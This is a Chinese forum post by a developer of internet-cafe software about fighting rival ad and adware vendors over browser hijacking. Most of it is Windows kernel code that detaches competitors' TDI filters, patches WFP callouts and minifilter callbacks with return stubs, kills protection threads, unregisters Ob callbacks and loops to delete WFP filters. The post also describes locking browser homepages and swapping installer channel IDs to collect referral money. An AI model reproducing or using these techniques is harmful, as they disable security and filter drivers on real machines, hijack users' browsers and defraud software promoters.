网吧业务竞争激烈,网吧都会有以下系统软件。
无盘:
无盘是指没有硬盘。好处是统一维护管理和节约成本。本人研究无盘好几年,后面会专门发帖介绍。
计费:
是指收费系统。
营销软件:
包括销售饮品、零食和向客户发送电子邮件营销和短信营销等。产品如网吧营销大师。
监管:
监管网吧黄赌毒的软件。
主动防御系统:
绝大多数网吧不装杀毒软件,因为有很多网络游戏都会被杀毒软件误报为病毒而被删除,
比如梦幻、大话、神泣等。而且网吧大多数单机游戏都是破解版,这些单机游戏十之八九也会被误报为病毒。
再有,网吧都是无盘系统,重启后安装的软件都会还原。
所以有了网吧的主动防御软件,相当于网吧的360卫士。
主要功能包括:网络拦截、进\线程、模块、文件、注册表、窗口拦截等。靠网络下发规则来执行拦截,如下图。
网吧增值业务:
已经形成了一个产业,包括下面几项。
1.chuangqi业务:
此业务竞争最激烈,每年billion的收益。因为chuanqi游戏一直很火,而且私服很多。
后面专门介绍如何对抗。
2.禁止添加桌面图标:
方法是,若我们驱动先启动: 使用minifilter拦截.lnk文件的创建
后启动: 拦截+删除白名单(自己的图标)以外的桌标。
所有的进程全部过滤。
3.登陆器封禁:
有了抢浏览器,为啥还要有登陆器封禁。因为会从别的地方下载了sifu登陆器。这样可以forbid了竞品,弹出我们的登陆器。
4.渠道号:
替换软件安装包的渠道号,以拿到推广money。例如替换某游戏平台替换xxxxxx.db,就更改了渠道号。
5.浏览器锁主页:
驱动在进程回调中修改命令行参数。不懂的,可以见看雪文章 [原创]驱动锁主页方法一修改命令行参数-编程技术-看雪-安全社区|安全招聘|kanxue.com
下面介绍chuangqi业务:
因为用户玩传奇是从网站上下载,所以第三方软件会弹出广告令其下载。弹广告是由C端的程序控制,会抢占浏览器。
占浏览器无外乎是两种方法: 一个是网络过滤驱动(如WFP),一个是Hook浏览器。
除了抢浏览器手段一外,还会主动出击,攻破网吧的其它增值软件,不让其弹传奇Ads。
为了让我们的页面弹出来,竞品的业务不弹。我先采用的是Attack方法,先发制人。
安全是围绕攻防展开的。攻防是对立统一的。对立好理解,统一是: 防得好要先学攻,攻得好要理解防御。
攻击一点发力击破,难的是寻找突破点。防御是以一敌十,但需要考虑很全面。
所以安全很有研究价值的。
本文先聊下如何对付抢占浏览器,然后说下怎么防御对方攻击。
先介绍下TDI、WFP。
1.TDI:
TDI,Transport Driver Interface,传输驱动程序接口。TDI是早期的模型,虽说微软不推荐,但使用起来不影响。
TDI的引出是Microsoft在网络API程序和协议驱动之间又增加了一层即TDI。
什么要增加一层,因为微软希望通过分层后,工程师各司其职、分别开发。
TDI是微软提供的内核网络驱动模型中的编程接口规范,而不是部件,和NDIS一样。像AFD、TCPIP、NDIS驱动则是一个实现具体功能的部件,如下图:
上图来自看雪一半人生的文章。
下面介绍下Ring3到Ring0的网络分层结构:
ws2_32.dll提供了基本的socket相关函数(例如socket,bind,listen等)。
Windows在用户层提供了一种过滤网络数据包的HOOK方案,这个就是Layered service provider(也就是我们通常说的LSP),通过这种技术我们对网络包进行HOOK了,国内很多大厂用的都是这种技术。
Socket是一种统一的规范,无论是Windows还是Linux他们对外提供的接口都是一样的。在Windows下面Socket被转换成为设备的IO操作,并且提供了一个AFD.SYS(Ancillary Function Driver for WinSock)的驱动模块来辅助。
tcpip是一个网络协议驱动程序,对底层他提供了一个NIDS协议驱动,对上层他提供了应对TCP,UDP,RAWIP等不同协议的设备对象。
nicxxx是网卡驱动。
2.WFP:
WFP是windows推出来的新一代对网络数据进行操作的框架,用于取代TDI框架。WFP很灵活,就是框架有些重。用TDI实现网络功能也是完全可行的。
WFP的架构图如下:
WFP最重要的是下面几个组件:
过滤器(Filter):当满足一组条件的时候,执行指定的动作。多个滤器之间,有位置和权重之分。
Callout:是一组函数。数据流经过时,过滤器调用callout,执行callout中自定义的操作,然后标记放行还是阻断。
Layer:表示网络流量处理中调用过滤器引擎的特定点。(不同的Layer,有不同的标识。)
Sub-layer:layer的子组件。一个layer中可以创建不同的sub-layer,有权重之分。
当然还有Provider。它只用于管理, 不参与网络数据的过滤。
WFP有个弱点,特别是网吧环境,若关掉了BFE服务,WFP驱动就失效了:
再说下对抗网络过滤驱动:
1、TDI对抗:
TDI驱动的核心就是对于\\Device\\Tcp,\\Device\\Udp二个设备进行过滤,形成设备栈,然后对每个IRP进行处理。
然后讲下怎么遍历删除TDI钩子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 | //获取tdi钩子并移除------------------------------------ UNICODE_STRING uniNtNameString; PDEVICE_OBJECT pTargetDeviceObject = NULL; PFILE_OBJECT pTargetFileObject = NULL; PDEVICE_OBJECT pTdxXxDevObj = NULL; for ( int i = 0; i < 2; i++) { if (i == 0) //TCP { RtlInitUnicodeString(&uniNtNameString, DD_TCP_DEVICE_NAME); pTdxXxDevObj = g_pTdxTcpDevObj; } else //UDP { RtlInitUnicodeString(&uniNtNameString, DD_UDP_DEVICE_NAME); pTdxXxDevObj = g_pTdxUdpDevObj; } status = IoGetDeviceObjectPointer(IN & uniNtNameString, IN FILE_READ_ATTRIBUTES, OUT & pTargetFileObject, &pTargetDeviceObject); if (NT_SUCCESS(status)) { if (pTargetFileObject) ObDereferenceObject(pTargetFileObject); KdPrint(( "%s tdx Attached Driver Name:%wZ,Attached Driver Address:0x%p,Attached DeviceAddress:0x%p\n" , i == 0 ? "TCP" : "UDP" , &(pTargetDeviceObject->DriverObject->DriverName), pTargetDeviceObject->DriverObject, pTargetDeviceObject)); WcharToChar(pTargetDeviceObject->DriverObject->DriverName.Buffer, szDriverPath, sizeof (szDriverPath)); nKillOrSuspendThread = pnKillCallback = 0; if (IsBlackDriver(( ULONG_PTR )pTargetDeviceObject->DriverObject->DriverStart, pTargetDeviceObject->DriverObject->DriverSize, szDriverPath, &nKillOrSuspendThread, &pnKillCallback)) { KdPrint(( "Check Tdi callback IsBlackDriver:%s,base:0x%p,size::0x%p\r\n" , szDriverPath, ( PVOID )ulBase, ( PVOID )ulSize)); if (nKillOrSuspendThread & NormalKill) KillDriverAllThreadByCallBack(pSysModuleList, pNotifyRoutineAddress, szDriverPath); if (nKillOrSuspendThread & SpecialKill) //某清x卫士 KillDummyDriverAllThreadByCallBack(pSysModuleList, pNotifyRoutineAddress, "pci.sys" ); if (pnKillCallback & KillTdiCallback) { if (pTdxXxDevObj && pTdxXxDevObj->AttachedDevice && (pTdxXxDevObj->AttachedDevice == pTargetDeviceObject)) { IoDetachDevice(pTdxXxDevObj); KdPrint(( "Remove TdiCallback!\r\n" )); } } } } else { KdPrint(( "%s IoGetDeviceObjectPointer error:0x%x!" , i == 0 ? "TCP" : "UDP" , status)); pTargetFileObject = NULL; pTargetDeviceObject = NULL; } } |
查找有TDI功能且是竞品的驱动,然后IoDetachDevice删除。下面是查找Tcp、Udp的tdi设备:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 | VOID GetTdxDeviceObject(PDEVICE_OBJECT* ppTcpDevObj, PDEVICE_OBJECT* ppUdpDevObj) { NTSTATUS status; UNICODE_STRING tdx_name, tcp_name, udp_name; PDRIVER_OBJECT pTdxDriver = NULL; PDEVICE_OBJECT pDevObj = NULL; PUNICODE_STRING pObjectName = NULL; ULONG ulReturLength = 0; RtlInitUnicodeString(&tcp_name, L "\\Device\\Tcp" ); RtlInitUnicodeString(&udp_name, L "\\Device\\Udp" ); status = ObReferenceObjectByName(&tdx_name, OBJ_CASE_INSENSITIVE, NULL, 0, (POBJECT_TYPE)(*IoDriverObjectType), KernelMode, NULL, ( PVOID *)&pTdxDriver); if (pTdxDriver) { pDevObj = pTdxDriver->DeviceObject; while (pDevObj) // iterate through DEVICE_OBJECT { // linked list status = ObQueryNameString(pDevObj, NULL, 0, &ulReturLength); if (status == STATUS_INFO_LENGTH_MISMATCH) { pObjectName = ExAllocatePoolWithTag(NonPagedPool, ulReturLength, 'hwb' ); if (!pObjectName) return ; status = ObQueryNameString(pDevObj, (POBJECT_NAME_INFORMATION)pObjectName, ulReturLength, &ulReturLength); if (status == STATUS_SUCCESS) { if (RtlCompareUnicodeString(&tcp_name, pObjectName, TRUE)) { if (!RtlCompareUnicodeString(&udp_name, pObjectName, TRUE)) { //ObfReferenceObject(pDevObj); if (ppUdpDevObj) *ppUdpDevObj = pDevObj; // Save pointer to \Device\Udp } } else { //ObfReferenceObject(pDevObj); if (ppTcpDevObj) *ppTcpDevObj = pDevObj; // Save pointer to \Device\Tcp } } ExFreePoolWithTag(pObjectName, 'hwb' ); } pDevObj = pDevObj->NextDevice; // get pointer to next DEVICE_OBJECT // in the list } ObfDereferenceObject(pTdxDriver); } } |
总结: 由于TCP\UDP设备是绑定在设备栈上的,所以Detach可以解除绑定,又判断了黑名单,所以驱动功能稳定。
2、WFP对抗:
1). 恢复WFP钩子:
a). 首先是找到gWfpGlobal表,然后遍历。核心代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | NTSTATUS EnumerateWfpCallbacks() { NTSTATUS status = STATUS_SUCCESS; ULONG_PTR ulDriverBase= GetMemoryDriverBase( "netio.sys" ); ULONG_PTR ulFeGetWfpGlobalPtrAddress= GetAddressFromFunction(( PVOID )ulDriverBase, "FeGetWfpGlobalPtr" ); KdPrint(( "FeGetWfpGlobalPtr地址:0x%p\r\n" , ulFeGetWfpGlobalPtrAddress)); if (ulFeGetWfpGlobalPtrAddress && MmIsAddressValid(( PVOID )ulFeGetWfpGlobalPtrAddress)) { //0: kd > uf netio!FeGetWfpGlobalPtr //NETIO!FeGetWfpGlobalPtr: //fffff807`39b99210 488b0549130500 mov rax, qword ptr[NETIO!gWfpGlobal(fffff807`39bea560)] //fffff807`39b99217 c3 ret ULONG_PTR ul_gWfpGlobal = ( ULONG_PTR )(*( PULONG )(ulFeGetWfpGlobalPtrAddress + 3)) + ulFeGetWfpGlobalPtrAddress + 7; //7为指令长度 if (ul_gWfpGlobal && MmIsAddressValid(( PVOID )ul_gWfpGlobal)) { KdPrint(( "gWfpGlobal地址:0x%p\r\n" , ul_gWfpGlobal)); int nEntriesNum = 0, nCalloutStructOffset = 0, nCalloutStructSize = 0; int nCount = 0; GetWfpCalloutOffset(&nEntriesNum, &nCalloutStructOffset, &nCalloutStructSize); //dps poi(poi(netio!gWfpGlobal) + 198h) + 0x50 for ( int i = 0; i < nEntriesNum; i++) { ULONG_PTR ulClassifyAddress = *( PULONG64 )(*( PULONG64 )ul_gWfpGlobal + nCalloutStructOffset) + nCalloutStructSize * i + 16; KdPrint(( "ClassifyAddress地址:0x%p\r\n" , *( PULONG_PTR )ulClassifyAddress)); if (*( PULONG_PTR )ulClassifyAddress) nCount++; } KdPrint(( "总共%d个Callout\r\n" , nCount)); } else KdPrint(( "获得gWfpGlobal地址错误!\r\n" )); } else KdPrint(( "获得FeGetWfpGlobalPtr地址错误!\r\n" )); return status; } |
上面GetWfpCalloutOffset函数根据OS版本获得Callouts数量、偏移和大小。方法是分析内核netio!FeInitCalloutTable和netio!InitDefaultCallout得到。代码见附件EnumWFPCallouts,支持win7、win10、win11。
b).删除WFP的Callouts
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | if (ulClassifyAddress && MmIsAddressValid(( PVOID )ulClassifyAddress)) { ULONG_PTR ulClassifyFunction = *( PULONG_PTR )ulClassifyAddress; KdPrint(( "ClassifyAddress地址:0x%p\r\n" , ulClassifyFunction)); if (ulClassifyFunction) nCount++; if (ulClassifyFunction && MmIsAddressValid(( PVOID )ulClassifyFunction)) { if (FindModuleByAddress(pSysModuleList, ulClassifyFunction, szDriverPath, &ulBase, &ulSize)) { KdPrint(( "Driver is:%s\r\n" , szDriverPath)); nKillOrSuspendThread = pnKillCallback = 0; //判断是否竞品 if (IsBlackDriver(ulBase, ulSize, szDriverPath, &nKillOrSuspendThread, &pnKillCallback)) { KdPrint(( "Check WFP Callout IsBlackDriver:%s,base:0x%p,size::0x%p\r\n" , szDriverPath, ( PVOID )ulBase, ( PVOID )ulSize)); //先干掉保护线程 if (nKillOrSuspendThread & NormalKill) KillDriverAllThreadByCallBack(pSysModuleList, ( PVOID )ulClassifyFunction, szDriverPath); if (nKillOrSuspendThread & SpecialKill) //某清x卫士 KillDummyDriverAllThreadByCallBack(pSysModuleList, ( PVOID )ulClassifyFunction, "pci.sys" ); //再Patch竞品钩子 if (pnKillCallback & KillWFP) { //Patch /*0xFFFFF80619911940 48 8B 44 24 38 mov rax, qword ptr[rsp + 0x38] 0xFFFFF80619911945 C7 00 02 10 00 00 mov dword ptr[rax], 0x1002 0xFFFFF8061991194B C3 ret*/ char szPatchCode[12] = { 0x48,0x8B,0x44,0x24,0x38,0xC7,0x00,0x02, 0x10,0x00,0x00,0xC3 }; SafeCopyMemory(( PVOID )ulClassifyFunction, szPatchCode, 12); KdPrint(( "Remove WFPCallout Success\r\n" )); } } } } } |
前面IsBlackDriver根据竞品内存字符串、设备名、签名、文件内存大小定位。
上面定义了个枚举类型,表示特征码的类型。
上文的注释为什么"先干掉保护线程"再"Patch竞品钩子",因为移除钩子,保护线程会将其恢复。
清x卫士的保护线程在pci.sys中。它把保护线程注入shellcode到pci.sys空隙里了。
查找保护线程首先上ARK工具,右键->驱动线程:
然后挂起上图线程。
有的保护线程并不在自己空间里,这时候就要用到VT CPU虚拟化,Hook保护线程调用的保护API函数,然后打印进\线程ID。
关于VT后面还会提及。
2). 删除WFP的Filter
上文介绍了遍历并移除WFP Callout,下面介绍下另一种对抗方法,Ring3删除Filter:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 | // 删除指定的 WFP Filter DWORD DeleteWFPFilter( const GUID& filterKey) { DWORD result = NO_ERROR; HANDLE engineHandle = NULL; FWPM_FILTER0 filter = { 0 }; // 打开 WFP Engine result = FwpmEngineOpen0(NULL, RPC_C_AUTHN_WINNT, NULL, NULL, &engineHandle); if (result != NO_ERROR) { std::cerr << "Failed to open WFP engine. Error code: " << result << std::endl; return result; } // 根据 Filter Key 构建 Filter 条件 filter.filterKey = filterKey; // 删除 Filter result = FwpmFilterDeleteByKey0(engineHandle, &filter.filterKey); if (result != NO_ERROR) { std::cerr << "Failed to delete WFP filter. Error code: " << result << std::endl; } // 关闭 WFP Engine FwpmEngineClose0(engineHandle); return result; } int main() { // 要删除的 WFP Filter 的 Key //{4C08040E-6D8F-4B09-AADC-BA117A2E0D5B} GUID filterKey = { 0x4C08040E, 0x6D8F, 0x4B09, { 0xAA, 0xDC, 0xBA, 0x11, 0x7A, 0x2E, 0x0D, 0x5B } }; while ( true ) { // 删除 WFP Filter DWORD result = DeleteWFPFilter(filterKey); if (result == NO_ERROR) { std::cout << "WFP filter deleted successfully." << std::endl; } Sleep(3000); } return 0; } |
指定GUID号,即可删除。使用WFPExp.exe查看:
再聊下如何对付Hook浏览器。竞品挂钩浏览器注入dll后,会跳转到自己的页面。
对抗思路:
1.若是进程Hook的,查找注入浏览器的进程,然后挂起或结束。
2.若是驱动注入的,Patch注入线程或恢复回调。
3.UnHook浏览器。
一、 查找注入浏览器的进程
1. 扫描无模块注入的内存:
现在很少用有模块注入了,为了隐蔽。所以都是无模块注入。应用层代码网上有,内核代码注入还可以隐藏dll。
使用Cheate Engine一次只能扫描一个内存:
所以我写了下面这段代码扫描所有内存:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 | BOOL SearchMem( const HANDLE & process, BYTE * lpData, int iSize, URL_TYPE enumUrlType, std::unordered_set<std::string>& sDistributeUrls, std::unordered_set<std::string>& sJsInjectUrls) { SYSTEM_INFO si; GetSystemInfo(&si); ULONG_PTR start = ( ULONG_PTR )si.lpMinimumApplicationAddress; ULONG_PTR end = ( ULONG_PTR )si.lpMaximumApplicationAddress; MEMORY_BASIC_INFORMATION info; SIZE_T bytesRead = 0; ULONG_PTR readIndex = start; int totalBytesRead = 0; BOOL bFind = FALSE; int iFlag = 0; while (readIndex < end) { if (VirtualQueryEx(process, ( LPCVOID )readIndex, &info, sizeof (info)) == 0) { _printf( "VirtualQueryEx==0!!!" ); break ; } readIndex = ( ULONG_PTR )info.BaseAddress; if (info.State != MEM_COMMIT || info.Type != MEM_PRIVATE) //扫描的无模块内存 { readIndex += info.RegionSize; continue ; } SIZE_T bytesToRead = info.RegionSize; char * buffer = new char [bytesToRead]; if (!buffer) { _printf( "分配内存失败!\r\n" ); return FALSE; } memset (buffer, 0, bytesToRead); bytesRead = 0; BOOL bReadSuccess = ReadProcessMemory(process, ( LPCVOID )readIndex, buffer, bytesToRead, &bytesRead); if (bytesRead && (bytesRead - iSize>0)) { for ( int i = 0; i < (bytesRead - iSize); i++) { if ( memcmp (buffer + i, lpData, iSize) == 0) { if (enumUrlType == SCAN_MEM) { bFind = TRUE; break ; } } } } if (!bReadSuccess) { if (bytesRead <= 0) bytesRead = info.RegionSize; } totalBytesRead += bytesRead; readIndex += bytesRead; delete [] buffer; } return bFind; } |
上面代码扫描了所有进程,加了 info.Type != MEM_PRIVATE 判断,加快扫描速度。因为无模块内存的属性MEM_PRIVATE。
2、VT查找无模块注入的内存:
大多数注入内存都要调用NtAllocateVirtualMemory、NtWriteVirtualMemory两个API。
下面来自我写的ddimon修改版的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 | NTSTATUS DdimonpHandleNtWriteVirtualMemory( IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN PVOID Buffer, IN SIZE_T NumberOfBytesToWrite, OUT PSIZE_T NumberOfBytesWritten OPTIONAL) { HYPERPLATFORM_LOG_INFO_SAFE( "enter DdimonpHandleNtWriteVirtualMemory!\r\n" ); const auto original = DdimonpFindOrignal(DdimonpHandleNtWriteVirtualMemory); if (!original) return STATUS_SUCCESS; BOOL bSuccess= original(ProcessHandle, BaseAddress, Buffer, NumberOfBytesToWrite, NumberOfBytesWritten); PEPROCESS pSourceEprocess = PsGetCurrentProcess(); if (!pSourceEprocess) { DbgPrint( "pSourceEprocess is null!\r\n" ); return bSuccess; } PETHREAD pSourceEthread = PsGetCurrentThread(); if (!pSourceEthread) { DbgPrint( "pSourceEthread is null!\r\n" ); return bSuccess; } HANDLE hSourcePid = PsGetProcessId(pSourceEprocess); HANDLE hSourceTid = PsGetThreadId(pSourceEthread); if (( LONG_PTR )ProcessHandle == -1) { return bSuccess; } ULONG_PTR ulPid = HandleToPid(ProcessHandle); CHAR szSrcImageFilePath[MAX_PATH] = {0}; WCHAR wzSrcImageFilePath[MAX_PATH] = {0}; GetProcessImageFilePathSafeIrql(hSourcePid, wzSrcImageFilePath, MAX_PATH); CHAR szDestImageFilePath[MAX_PATH] = {0}; WCHAR wzDestImageFilePath[MAX_PATH] = {0}; GetProcessImageFilePathSafeIrql(( HANDLE )ulPid, wzDestImageFilePath, MAX_PATH); //判断谁注入浏览器用 if (!_stricmp(szDestImageFilePath, "chrome.exe" )) //以及其它浏览器进程exe { //若注入的不是加了vmp壳的无模块,修改下面的"vmp0"字符串 int index = binaryStringSearch(( char *) "vmp0" , FALSE, ( char *)Buffer, ( int )NumberOfBytesToWrite); if (index != -1) { KdPrint( ( "NtWriteVirtualMemory,vmp0,调用进程Id:%d,线程Id:%d,目标进程id:%d," "源进程名:%s,目的进程名:%s,地址:0x%p,长度:%d\r\n" , hSourcePid, hSourceTid, ulPid, szSrcImageFilePath, szDestImageFilePath, BaseAddress, NumberOfBytesToWrite)); } else { KdPrint( ( "NtWriteVirtualMemory,调用进程Id:%d,线程Id:%d,目标进程id:%d," "源进程名:%s,目的进程名:%s,地址:0x%" "p,长度:%d\r\n" , hSourcePid, hSourceTid, ulPid, szSrcImageFilePath, szDestImageFilePath, BaseAddress, NumberOfBytesToWrite)); } } return bSuccess; } |
用VT虚拟化技术,Hook了系统所有调用NtWriteVirtualMemory的函数,里面判断了"vmp0"字符串,
因为注入的都是加了壳的代码,大多是vmp壳,不是vmp的替换"vmp0"字符串。代码里有打印
调用进程Id和线程Id,以找到是谁注入的。
二、驱动注入的处理:
驱动注入dll,一般用LoadImageNotify拦截或遍历进程。所以应对方法是去掉LoadImageNotify钩子或挂起遍历进程的驱动线程。
三、UnHook浏览器:
因为Hook浏览器,一般是jmp xxxx,所以检测浏览器内存和文件是否相同。不同的再判断是否为jmp指令,是则从文件中拷贝恢复。
由于字数限制,无法这里展示代码。附件有部分代码,有空我再发一个帖子。
然后说下如何防御对方攻击:
广告业务会使用x64的CreateProcessNotify回调使我们页面弹不出来;
LoadImageNotify回调拦截我们软件驱动签名,或Patch我们驱动入口点;
KillObCallback保护自己线程不被打开;
LoadImageNotify会拦截我们软件驱动加载;
minifilter会拦截我们驱动文件释放;
CreateThreadNotify会拦截我们注入无模块进程;
对抗方法是移除对方回调,CreateProcessNotify回调\LoadImageNotify回调\CreateThreadNotify回调的移除方法略过。
下面给出KillObCallback、minifilter回调移除的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 | //获取Ob回调地址并移除 POB_CALLBACK pObCallback = NULL; PVOID pObHandle[100] = { 0 }; int nObHandleCount = 0; //获取Ob回调地址并移除 for ( int i = 0; i < 2; i++) { LIST_ENTRY CallbackList; if (i==0) CallbackList = ((POBJECT_TYPE)(*PsProcessType))->CallbackList; else CallbackList = ((POBJECT_TYPE)(*PsThreadType))->CallbackList; // 开始遍历 pObCallback = (POB_CALLBACK)CallbackList.Flink; do { if (FALSE == MmIsAddressValid(pObCallback)) { break ; } if (NULL != pObCallback->ObHandle) { // 显示 KdPrint(( "ObCallback = %p | ObHandle = %p | PreCall = %p | PostCall = %p\r\n" , pObCallback, pObCallback->ObHandle, pObCallback->PreCall, pObCallback->PostCall)); PVOID pPreOrPostCall = pObCallback->PreCall ? pObCallback->PreCall : pObCallback->PostCall; if (pPreOrPostCall && MmIsAddressValid(pPreOrPostCall)) { if (FindModuleByAddress(pSysModuleList, ( ULONG_PTR )pPreOrPostCall, szDriverPath, &ulBase, &ulSize)) { KdPrint(( "Driver is:%s\r\n" , szDriverPath)); nKillOrSuspendThread = pnKillCallback = 0; if (IsBlackDriver(ulBase, ulSize, szDriverPath, &nKillOrSuspendThread, &pnKillCallback)) { KdPrint(( "Check ObCallback IsBlackDriver:%s,base:0x%p,size::0x%p\r\n" , szDriverPath, ( PVOID )ulBase, ( PVOID )ulSize)); if (nKillOrSuspendThread & NormalKill) KillDriverAllThreadByCallBack(pSysModuleList, pPreOrPostCall, szDriverPath); if (nKillOrSuspendThread & SpecialKill) //某清x卫士 KillDummyDriverAllThreadByCallBack(pSysModuleList, pPreOrPostCall, "pci.sys" ); if (nKillOrSuspendThread & AdxxObProtectKill) //某hunter KillAdHunterObProtectThread(ulBase, ulSize); if (MmIsAddressValid(pObCallback->ObHandle)) { if (pnKillCallback & KillObCallback) { if (nObHandleCount < sizeof (pObHandle) / sizeof ( PVOID )) { pObHandle[nObHandleCount] = pObCallback->ObHandle; nObHandleCount++; KdPrint(( "Remove ObCallback!\r\n" )); } } } } } } } // 获取下一链表信息 pObCallback = (POB_CALLBACK)pObCallback->ListEntry.Flink; } while (CallbackList.Flink != (PLIST_ENTRY)pObCallback); } for ( int i=0;i< nObHandleCount;i++) { ObUnRegisterCallbacks(pObHandle[i]); } |
上面代码移除OB进线程保护,OB钩子详细解释去baidu吧:)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 | //minifilter钩子移除 ULONG ulFilterListSize = 0; PFLT_FILTER* ppFilterList = NULL; LONG lOperationsOffset = 0; PFLT_OPERATION_REGISTRATION pFltOperationRegistration = NULL; lOperationsOffset = GetMinifilterOperationsOffset(); if (0 == lOperationsOffset) { KdPrint(( "GetOperationsOffset Error\n" )); ExFreePool(pSysModuleList); return ; } // 获取 Minifilter 过滤器Filter 的数量 FltEnumerateFilters(NULL, 0, &ulFilterListSize); ppFilterList = (PFLT_FILTER*)ExAllocatePoolWithTag(NonPagedPool, ulFilterListSize * sizeof (PFLT_FILTER), 'hwb' ); if (NULL == ppFilterList) { KdPrint(( "ExAllocatePoolWithTag Error!\n" )); ExFreePool(pSysModuleList); return ; } // 获取 Minifilter 中所有过滤器Filter 的信息 status = FltEnumerateFilters(ppFilterList, ulFilterListSize, &ulFilterListSize); if (!NT_SUCCESS(status)) { KdPrint(( "FltEnumerateFilters Error![0x%X]\n" , status)); ExFreePool(pSysModuleList); ExFreePool(ppFilterList); return ; } // 开始遍历 Minifilter 中各个过滤器Filter 的信息 __try { for (i = 0; i < ( int )ulFilterListSize; i++) { // 获取 PFLT_FILTER 中 Operations 成员地址。dt FltMgr!_FLT_FILTER pFltOperationRegistration = (PFLT_OPERATION_REGISTRATION)(*( PVOID *)(( PUCHAR )ppFilterList[i] + lOperationsOffset)); __try { // 同一过滤器下的回调信息 //DbgPrint("-------------------------------------------------------------------------------\n"); while (IRP_MJ_OPERATION_END != pFltOperationRegistration->MajorFunction) { { PVOID pPreOrPostCall = pFltOperationRegistration->PreOperation ? ( PVOID )pFltOperationRegistration->PreOperation : ( PVOID )pFltOperationRegistration->PostOperation; if (pPreOrPostCall && MmIsAddressValid(pPreOrPostCall)) { KdPrint(( "minifilter函数地址:0x%p\r\n" , pPreOrPostCall)); if (FindModuleByAddress(pSysModuleList, ( ULONG_PTR )pPreOrPostCall, szDriverPath, &ulBase, &ulSize)) { KdPrint(( "Driver is:%s\r\n" , szDriverPath)); nKillOrSuspendThread = pnKillCallback = 0; if (IsBlackDriver(ulBase, ulSize, szDriverPath, &nKillOrSuspendThread, &pnKillCallback)) { KdPrint(( "Check Minifilter IsBlackDriver:%s,base:0x%p,size::0x%p\r\n" , szDriverPath, ( PVOID )ulBase, ( PVOID )ulSize)); if (nKillOrSuspendThread & NormalKill) KillDriverAllThreadByCallBack(pSysModuleList, pPreOrPostCall, szDriverPath); if (nKillOrSuspendThread & SpecialKill) //某清x卫士 KillDummyDriverAllThreadByCallBack(pSysModuleList, pPreOrPostCall, "pci.sys" ); if (pnKillCallback & KillMinifilter) { //此方法摘除钩子后,钩子还可以正常使用,只不过PCHunter显示已经摘除 //pFltOperationRegistration->PreOperation = NULL; //pFltOperationRegistration->PostOperation = NULL; //Patch char szPatchCode[4] = { 0x48,0x31,0xc0,0xc3 }; //xor rax,rax; ret if (pFltOperationRegistration->PreOperation) SafeCopyMemory(pFltOperationRegistration->PreOperation, szPatchCode, 4); if (pFltOperationRegistration->PostOperation) SafeCopyMemory(pFltOperationRegistration->PostOperation, szPatchCode, 4); KdPrint(( "Remove FileNotify Success\r\n" )); } } } } } // 获取下一个消息回调信息 pFltOperationRegistration = (PFLT_OPERATION_REGISTRATION)(( PUCHAR )pFltOperationRegistration + sizeof (FLT_OPERATION_REGISTRATION)); } //DbgPrint("-------------------------------------------------------------------------------\n"); } __except (EXCEPTION_EXECUTE_HANDLER) { KdPrint(( "[2_EXCEPTION_EXECUTE_HANDLER]\n" )); } FltObjectDereference(ppFilterList[i]); //记得一定要加此函数,否则卸载驱动会卡死 } } __except (EXCEPTION_EXECUTE_HANDLER) { KdPrint(( "[1_EXCEPTION_EXECUTE_HANDLER]\n" )); } |
上述代码,先调用FltEnumerateFilters获取ppFilterList和ulFilterListSize,然后遍历Minifilter中各个过滤器Filter的信息,最后Patch。
总结:
虽然网吧业务竞争激烈,我们的软件仍然脱颖而出,成功对抗上十款竞品。相关代码已经给出,附件也有代码。
后面有时间,我还会发相关的帖子,比如怎么把对抗业务的防御更上一层楼,谢谢大家!